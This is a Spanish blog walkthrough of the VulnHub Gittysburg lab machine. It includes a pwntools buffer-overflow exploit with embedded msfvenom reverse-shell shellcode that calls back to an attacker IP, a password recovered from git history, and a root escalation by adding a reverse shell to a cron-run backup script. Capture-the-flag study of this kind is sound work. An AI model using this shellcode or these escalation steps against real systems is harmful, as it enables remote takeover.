jueves, 8 de diciembre de 2022

GITTYSBURG: 1 : gitlab+bof shellcode jmpesp

 https://www.vulnhub.com/entry/gittysburg-1,271/

Funciona mejor con vmware y no siempre activa el puerto 8261. Reiniciar varias veces.


┌──(kali㉿kali)-[~/gittisburg]

└─$ nmap 192.168.2.7 -p-

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-08 12:35 EST

Nmap scan report for gittysburg.home (192.168.2.7)

Host is up (0.0015s latency).

Not shown: 65530 closed tcp ports (conn-refused)

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

8060/tcp open  aero

8261/tcp open  unknown

9094/tcp open  unknown


Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds

                                                                                                             

- En 80 tenemos un gitlab. Con fuzz sacamos folder root y podemos ver los proyectos de "david". En el puerto 8261 tenemos un shell pero necesitamos las claves. En el proyecto rash del gitlab encontramos el binario y en /root/jeebs-v2/blob/master/  lo que parece el código fuente server.c. La flag1 

flag1{R2l0X29udG9fdGhlX2JpbmFyeQ==}

ya nos avisa de atacar el binario rash.

Lo bajamos y con ghidra sacamos las claves de acceso. Pero no hace nada, se trata de provocar bof y conseguir shell. Con pwntools diseñamos el exploit

from pwn import *

#msfvenom shell reverse
buf =  b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += b"\xa8\x02\x4b\x68\x02\x00\x20\x44\x89\xe1\xb0\x66\x50"
buf += b"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += b"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += b"\x0b\xcd\x80"

NOP  = b"\x90" * 100
junk = b"\x41" * 48
#Tomamos la función jmpesp del binario
EIP  = struct.pack("I", 0x080487e1)


payload = junk + EIP + NOP + buf

p = remote("192.168.2.7",8261)
print(p.recvline())
print(p.recvuntil(":", timeout=1))
p.send(b"goldburg\n")
print(p.recvuntil(":", timeout=1))
p.send(payload+b"\n")
p.interactive()


- Entramos como david. Tenemos un folder blog-template que es backupeado por james y se ejecuta como root. Pero el script es de james. Entrando en blog-template ejecutamos git show y sale la clave de james.


david@gittysburg:~/blog-template$ git show

commit a42695a0af9c4e2ed9dd74c586c026c20eb42157 (HEAD -> master)

Author: David <david@gitlab.local>

Date:   Mon Nov 12 10:26:07 2018 +0000

    fix to config due to data spill

diff --git a/_config.yml b/_config.yml

index 0dc3427..a6ae3a9 100644

--- a/_config.yml

+++ b/_config.yml

@@ -6,7 +6,7 @@ description: > # this means to ignore newlines until "baseurl:"

 twitter_username: james 

 github_username:  james

-password: X63fhr63Ce%^re

+

 # Minima date format

 # refer to http://shopify.github.io/liquid/filters/date/ if you want to customize this

david@gittysburg:~/blog-template$ su james

Password: 

$ id

uid=1001(james) gid=1001(james) groups=1001(james)


- Como james podemos modificar el script backup.sh y añadir un shell-reverse que se ejecutará como root.


root@gittysburg:~# cat flag4.txt

cat flag4.txt

  ______ __  __           __                

 / ___(_) /_/ /___ _____ / /  __ _________ _

/ (_ / / __/ __/ // (_-</ _ \/ // / __/ _ `/

\___/_/\__/\__/\_, /___/_.__/\_,_/_/  \_, / 

              /___/                  /___/ 

flag4{WW91X21ha2VfbWVfZmVlbF9naXR0eQ==}

CONGRATULATIONS on Rooting Gittysburg

I hope you enjoyed this box, it was a blast to make it for you!

Hit me up on Twitter and let me know what you think

@mccannwj / wjmccann.github.io

root@gittysburg:~#